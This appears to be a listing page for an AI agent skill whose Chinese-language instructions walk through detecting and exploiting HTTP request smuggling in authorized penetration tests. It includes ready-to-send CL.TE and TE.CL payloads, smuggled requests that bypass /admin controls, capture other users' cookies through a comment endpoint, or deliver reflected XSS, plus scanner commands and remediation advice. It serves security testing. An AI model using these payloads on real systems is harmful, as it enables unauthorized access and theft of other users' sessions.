# Exploiting HTTP Request Smuggling

> 检测并利用由前端和后端服务器之间 Content-Length 与 Transfer-Encoding 解析差异引起的 HTTP 请求走私漏洞。

- Skill: `killvxk/exploiting-http-request-smuggling` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-http-request-smuggling`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-http-request-smuggling/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-http-request-smuggling

---


# 利用 HTTP 请求走私漏洞（Exploiting HTTP Request Smuggling）

## 适用场景

- 当应用程序位于反向代理、负载均衡器或 CDN 后面时，在授权渗透测试期间使用
- 测试在请求链中存在多个 HTTP 处理器的基础设施（nginx + Apache、HAProxy + Gunicorn）
- 评估应用程序的 HTTP 去同步（desynchronization）漏洞
- 当其他攻击向量受限且需要绕过前端安全控制时
- 在多层 Web 架构的安全评估期间

## 前置条件

- **授权**：明确涵盖请求走私的书面渗透测试协议（高风险测试）
- **Burp Suite Professional**：配合 HTTP Request Smuggler 扩展（Turbo Intruder）
- **smuggler.py**：自动化 HTTP 请求走私检测工具
- **curl**：支持 HTTP/1.1 和手动分块编码
- **目标架构知识**：了解代理/服务器链（前端和后端）
- **注意**：请求走私可能影响其他用户的请求；请谨慎测试

## 工作流程

### 步骤 1：识别 HTTP 架构

确定代理/服务器链和 HTTP 解析特征。

```bash
# 识别前端代理/CDN
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"

# 常见架构：
# Cloudflare → Nginx → 应用
# AWS ALB → Apache → 应用
# HAProxy → Gunicorn → Python 应用
# Nginx → Node.js/Express
# Akamai → IIS → .NET 应用

# 检查 HTTP 版本支持
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1

# 检查是否支持 Transfer-Encoding
curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"

# 检查后端是否将 HTTP/2 降级为 HTTP/1.1
# 许多 CDN 接受 HTTP/2 但向源站转发 HTTP/1.1
```

### 步骤 2：测试 CL.TE 走私

前端使用 Content-Length，后端使用 Transfer-Encoding。

```
# 在 Burp Suite Repeater 中，禁用"Update Content-Length"选项
# 手动发送以下请求：

POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# 如果存在漏洞（CL.TE）：
# 前端读取 13 字节（Content-Length），转发整个请求
# 后端读取分块："0\r\n\r\n" = 请求体结束
# "SMUGGLED" 成为下一个请求的开始

# 检测技术：基于时间
# 如果后端读取分块并看到不完整的块，它会等待：

POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

# 如果响应延迟（约 5-10 秒），则可能存在 CL.TE 漏洞
```

### 步骤 3：测试 TE.CL 走私

前端使用 Transfer-Encoding，后端使用 Content-Length。

```
# Burp Repeater - 禁用"Update Content-Length"

POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# 如果存在漏洞（TE.CL）：
# 前端读取分块：块"SMUGGLED" + 最终"0"
# 后端读取 Content-Length 的 3 字节："8\r\n"
# 剩余的"SMUGGLED\r\n0\r\n\r\n"成为下一个请求前缀

# 通过差异响应检测：
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

# 前端（TE）：读取"0\r\n\r\n"，看到结束
# 后端（CL）：读取 6 字节"0\r\nX\r\n"
# 下一个请求被添加"X"前缀，导致 400/405 错误
```

### 步骤 4：使用自动化检测工具

运行自动化扫描器检测走私变体。

```bash
# 使用 smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST

# 使用 Burp HTTP Request Smuggler 扩展
# 1. 从 BApp Store 安装："HTTP Request Smuggler"
# 2. 在 Site Map 中右击目标 > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. 在 Scanner > Issue Activity 中查看结果

# 使用 h2csmuggler 进行 HTTP/2 走私
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
  "https://target.example.com/admin"

# 使用 Turbo Intruder 进行手动检测
# 以不同时序发送成对请求
# 第一个请求：走私前缀
# 第二个请求：受影响的普通请求
```

### 步骤 5：利用请求走私产生实际影响

利用已确认的走私漏洞实施实际攻击。

```
# 攻击 1：绕过前端访问控制
# 访问被前端代理阻止的 /admin

# CL.TE 利用：
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.example.com
Foo: x

# 走私的"GET /admin"请求绕过前端限制
# 因为它直接被后端处理

# 攻击 2：捕获其他用户的请求
# 走私一个将下一个用户请求存储在可见位置的请求

POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

body=

# 下一个合法用户的请求被附加到"body="
# 并作为评论存储，暴露其 Cookie 和请求头

# 攻击 3：反射型 XSS 升级
# 走私一个在下一个响应中反射 XSS 的请求

POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x

# 下一个用户收到 XSS 响应而非预期响应
```

### 步骤 6：测试 HTTP/2 请求走私

评估 HTTP/2 特有的走私向量。

```
# 通过请求头中的 CRLF 注入进行 HTTP/2 走私
# HTTP/2 应该拒绝请求头值中的 \r\n，但某些代理不会

# H2.CL 走私：HTTP/2 前端，后端使用 Content-Length
# 发送带有不匹配 :path 和内容的 HTTP/2 请求

# 使用 Burp Suite 支持 HTTP/2：
# 1. 在 Repeater 中启用 HTTP/2：Inspector > HTTP/2
# 2. 构建带有冲突 CL 头的请求

# HTTP/2 头注入
# 通过 HTTP/2 伪头添加：Transfer-Encoding: chunked
# 某些前端从 HTTP/1.1 中去除 TE 但不从 HTTP/2 中去除

# 测试 HTTP/2 请求隧道
# 如果前端为多个用户重用 HTTP/2 连接：
# 污染连接以影响后续请求

# 通过 HTTP/2 CONNECT 进行 H2.TE 走私
# 使用 HTTP/2 中的 CONNECT 方法建立隧道
# 绕过前端安全控制
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **CL.TE 走私** | 前端使用 Content-Length，后端使用 Transfer-Encoding |
| **TE.CL 走私** | 前端使用 Transfer-Encoding，后端使用 Content-Length |
| **TE.TE 走私** | 两端都使用 Transfer-Encoding 但对混淆的 TE 头解析不同 |
| **HTTP 去同步（HTTP Desync）** | 前端和后端对请求边界意见不一致的状态 |
| **请求拆分（Request Splitting）** | 一个 HTTP 请求被解释为两个独立请求 |
| **连接污染（Connection Poisoning）** | 走私数据影响同一 TCP 连接上的下一个请求 |
| **H2.CL 走私** | HTTP/2 到 HTTP/1.1 降级，伴有 Content-Length 差异 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **Burp Suite Professional** | 禁用自动 Content-Length 的手动请求构建 |
| **HTTP Request Smuggler (Burp)** | James Kettle 开发的自动化走私检测扩展 |
| **smuggler.py** | 基于 Python 的自动化 HTTP 请求走私扫描器 |
| **h2cSmuggler** | Bishop Fox 开发的 HTTP/2 明文走私工具 |
| **Turbo Intruder** | 用于时间敏感走私测试的高速请求引擎 |
| **curl** | 具有精确字节控制的手动 HTTP 请求构建 |

## 常见场景

### 场景：管理面板访问绕过
前端代理阻止 `/admin` 请求。CL.TE 走私攻击在后端请求队列中预置 `GET /admin`，导致后端处理管理请求时不经过前端的访问控制检查。

### 场景：通过请求捕获窃取 Cookie
TE.CL 走私攻击向评论端点注入部分 POST 请求。下一个用户的请求（包括 Cookie 和授权头）被附加到评论正文并存储在数据库中。

### 场景：通过走私进行缓存投毒
走私的请求导致缓存存储来自不同 URL 的响应。结合缓存投毒，攻击者可以向所有请求合法 URL 的用户提供恶意内容。

### 场景：CDN 上的 HTTP/2 去同步
CDN 接受 HTTP/2 并降级为 HTTP/1.1 转发给源站。通过 HTTP/2 进行头注入创建去同步，允许攻击者走私绕过 CDN 的 WAF 规则的请求。

## 输出格式

```
## HTTP 请求走私发现

**漏洞**: CL.TE HTTP 请求走私
**严重性**: 严重（CVSS 9.1）
**位置**: 前端（Cloudflare）→ 后端（Nginx + Gunicorn）
**OWASP 类别**: A05:2021 - 安全配置错误

### 架构
前端: Cloudflare（Content-Length 优先）
后端: Gunicorn（Transfer-Encoding 优先）
协议: 代理和源站之间使用 HTTP/1.1

### 复现步骤
1. 发送同时带有 Content-Length 和 Transfer-Encoding 头的 POST 请求
2. Content-Length 设置为包含走私请求前缀
3. Transfer-Encoding: chunked，以"0\r\n\r\n"结束请求体
4. 走私数据成为下一个后端请求的前缀

### 已确认利用
| 利用方式 | 影响 |
|---------|--------|
| 管理员绕过 | 无需身份验证访问 /admin |
| 请求捕获 | 窃取其他用户的会话 Cookie |
| XSS 升级 | 向任意用户投递反射型 XSS |
| 缓存投毒 | 用恶意响应污染 CDN 缓存 |

### 建议
1. 确保前端和后端使用相同的 HTTP 解析行为
2. 拒绝同时包含 Content-Length 和 Transfer-Encoding 的模糊请求
3. 升级为端到端 HTTP/2（无协议降级）
4. 在代理和源站服务器之间使用 HTTP/2
5. 在转发前在前端规范化请求
```